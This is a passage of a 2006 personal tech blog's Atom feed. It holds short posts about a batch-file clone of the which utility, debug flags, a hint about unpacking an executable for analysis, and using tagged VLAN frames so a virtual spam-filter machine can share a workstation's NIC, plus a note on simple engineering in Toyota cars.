/&gt;&lt;br /&gt;There exists a tool to unpack the executable; you don't have to do anything fancy to get an executable you can analyze.  Poke around the executable using HTE and google a few things: can you find the tool to use?</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:75988</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/75988.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=75988"/>
    <title>jspence @ 2006-03-10T12:38:00</title>
    <published>2006-03-10T17:44:54Z</published>
    <updated>2006-03-10T17:44:54Z</updated>
    <content type="html">I had to write this to help troubleshoot a problem someone was having:&lt;code&gt;&lt;pre&gt;@ECHO OFF
REM which.cmd -- emulate UNIX which(1) utility

if "%1"=="" goto err

for %%I in (%1) do echo %%~$PATH:I
goto out

:err
echo Usage: which FILENAME

:out&lt;/pre&gt;&lt;/code&gt;</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:75400</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/75400.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=75400"/>
    <title>debug = whatnow?</title>
    <published>2006-02-14T23:49:33Z</published>
    <updated>2006-02-14T23:49:33Z</updated>
    <content type="html">If you ever have to write a program, and you want it to have a command that enables debug mode, for chrissakes don't make it "debug=t", because no one will ever figure it out.  Really, what's wrong with "debug=1", or even just plain "debug"?</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:75183</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/75183.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=75183"/>
    <title>jspence @ 2006-02-11T15:32:00</title>
    <published>2006-02-11T23:34:20Z</published>
    <updated>2006-02-11T23:34:20Z</updated>
    <content type="html">&lt;a href="http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/12/09/BUGA2G58LF1.DTL&amp;amp;hw=virgin&amp;amp;sn=003&amp;amp;sc=934"&gt;Virgin America&lt;/a&gt; may be flying out of SFO in the near future.  Maybe they'll have flights to Vegas by the time &lt;a href="http://defcon.org/"&gt;the thing&lt;/a&gt; rolls around?</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:74786</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/74786.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=74786"/>
    <title>jspence @ 2006-02-11T00:11:00</title>
    <published>2006-02-11T08:11:49Z</published>
    <updated>2006-02-11T08:11:49Z</updated>
    <content type="html">Can you &lt;a href="http://tsa.ucles.org.uk/short/index.htm"&gt;get into Cambridge University&lt;/a&gt;?</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:74534</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/74534.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=74534"/>
    <title>jspence @ 2006-02-10T02:06:00</title>
    <published>2006-02-10T10:45:57Z</published>
    <updated>2006-02-10T10:45:57Z</updated>
    <content type="html">I installed &lt;a href="http://www.vmware.com/products/server/"&gt;VMWare server&lt;/a&gt; on a couple machines, to see if the beta can replace my old vmware 4 machine.  Conveniently, a spam filtering machine blew up this afternoon...&lt;br /&gt;&lt;br /&gt;I duplicated the spam filter's config in a virtual image and brought the virtual machine online.  However, the machine best qualified to run the virtual image is on my desk, and the subnet where the virtual image needs to recieve traffic is over in the machine room.  I only have one cable going to my desk from the machine room, and I can't dedicate it for the mail filter.&lt;br /&gt;&lt;br /&gt;"This sounds like a job for &lt;a href="http://en.wikipedia.org/wiki/VLAN"&gt;VLANs&lt;/a&gt;," I think.&lt;br /&gt;&lt;br /&gt;The core switch my Catalyst is connected to has two VLANs configured.  The default VLAN, 1, is for all internal traffic behind a NAT firewall.  The other VLAN, 2, is for all the servers connected to the Internet [1].  The virtual image needs to be connected to VLAN 2 so it can talk to the Internet, but the host computer needs to be connected to VLAN 1 so I can get my work done.&lt;br /&gt;&lt;br /&gt;Problem: the switch on my desk is a 4 MB Cisco Catalyst &lt;a href="http://www.cisco.com/warp/public/473/36.shtml"&gt;2916M-XL&lt;/a&gt;, which is a real wierdo.  It only supports port-based VLANs, not trunked VLANs. [2]&lt;br /&gt;&lt;br /&gt;This is important because you normally solve this problem by turning on something called &lt;a href="http://en.wikipedia.org/wiki/IEEE_802.1Q"&gt;802.1q trunking&lt;/a&gt;, which allows traffic from both VLAN 1 and VLAN 2 to flow between the core switch and my Catalyst.  The switches "tag" the ethernet frames with the VLAN ID, so they can tell which frames belong on which VLAN.  Then, you can do things like divert all VLAN 2 traffic to the NIC port being used by the virtual image.&lt;br /&gt;&lt;br /&gt;But my Cat doesn't support trunking :(&lt;br /&gt;&lt;br /&gt;So, I set the virtual image and the host computer to share the same NIC.  Then, I configured the virtual image to only accept traffic tagged with VLAN ID 2.  I also told the core switch to drop VLAN 2 traffic onto my cable using tagged frames.  Now, on the recieve path, the virtual image will grab all the frames tagged VLAN 2 and ignore everything else.  On the transmit path, the virtual image will transmit its frames tagged for VLAN 2, and the core switch will strip the tags before dumping the frames onto the other (non-trunked) ports configured in VLAN 2.&lt;br /&gt;&lt;br /&gt;I also told the core switch to assume all my untagged traffic was for VLAN 1, and to pass me all its VLAN 1 traffic without tagging it. &lt;br /&gt;&lt;br /&gt;Because the Cat doesn't know anything about VLAN tagging, it just passed the tagged frames (VLAN 2) and the non-tagged frames (VLAN 1) to the NIC with the virtual image and the OS hosting it.  Because the virtual image communicates with VLAN 2 using tagged frames, it can communicate with the Internet router on VLAN 2.&lt;br /&gt;&lt;br /&gt;The lesson here is that even if you don't have a fancy switch near your workstation, you might be able to make virtual machines appear to be on a subnet far, far away using VLAN trunking.  There's also the idea that potentially any machine in your network can be a candidate for hosting a virtual image, and with VLANs you don't even need to get out of your chair to connect the virtual image to the right network.&lt;br /&gt;&lt;br /&gt;[1] This is actually a DMZ, and is filtered by the same NAT firewall.&lt;br /&gt;&lt;br /&gt;[2] It also has a bunch of other weird quirks that aren't found in other members of the Catalyst family.  One that comes to mind is this annoying problem where I get CDP packets even though I say "no cdp run"...</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:73599</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/73599.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=73599"/>
    <title>jspence @ 2006-02-03T15:02:00</title>
    <published>2006-02-03T23:23:31Z</published>
    <updated>2006-02-03T23:23:31Z</updated>
    <content type="html">Don't mess with &lt;a href="http://video.google.com/videoplay?docid=2402060372341641699"&gt;Toyota trucks&lt;/a&gt;, man.&lt;br /&gt;&lt;br /&gt;My first car was a Toyota Tercel hatchback.  Like many teenagers, I wasn't particularly kind to the thing, but that gave me plenty of good opportunities to see good engineering at work.  Maybe the most important lesson I learned was the &lt;i&gt;rule of simplicity&lt;/i&gt;.  &lt;br /&gt;&lt;br /&gt;The rule of simplicity is: the more parts it has, the less reliable the product is.&lt;br /&gt;&lt;br /&gt;The Tercel had an emergency brake that was a little different from the other ones I'd seen on automatic cars.  It was connected directly to a cable that would close the brakes on the rotor.  Simple, yes, but that cable could rust and snap if you yanked on it when you were using it in a hurry.  Toyota fixed the problem by adding a coating and using two of them, while many other manufacturers went through all kinds of funny contortions with hydraulic assemblies, spring-loaded gizmos, etc.&lt;br /&gt;&lt;br /&gt;It's amazing how often this comes up in unexpected ways, in fields you'd never expect to see it in.  Take cow milking.  Sounds easy?  No.  Cows are dirty, dirty animals.  If you're milking them via machine, the machine's parts are also going to get filthy dirty and clogged up with all kinds of organic substances.  The pump needs to be very simple, because you will be reparing and replacing it often.  If it's a simple pump, it may take longer to milk each cow, but that's better than no milk at all because your pump broke and the repair process takes a week.</content>
  </entry>
</feed>
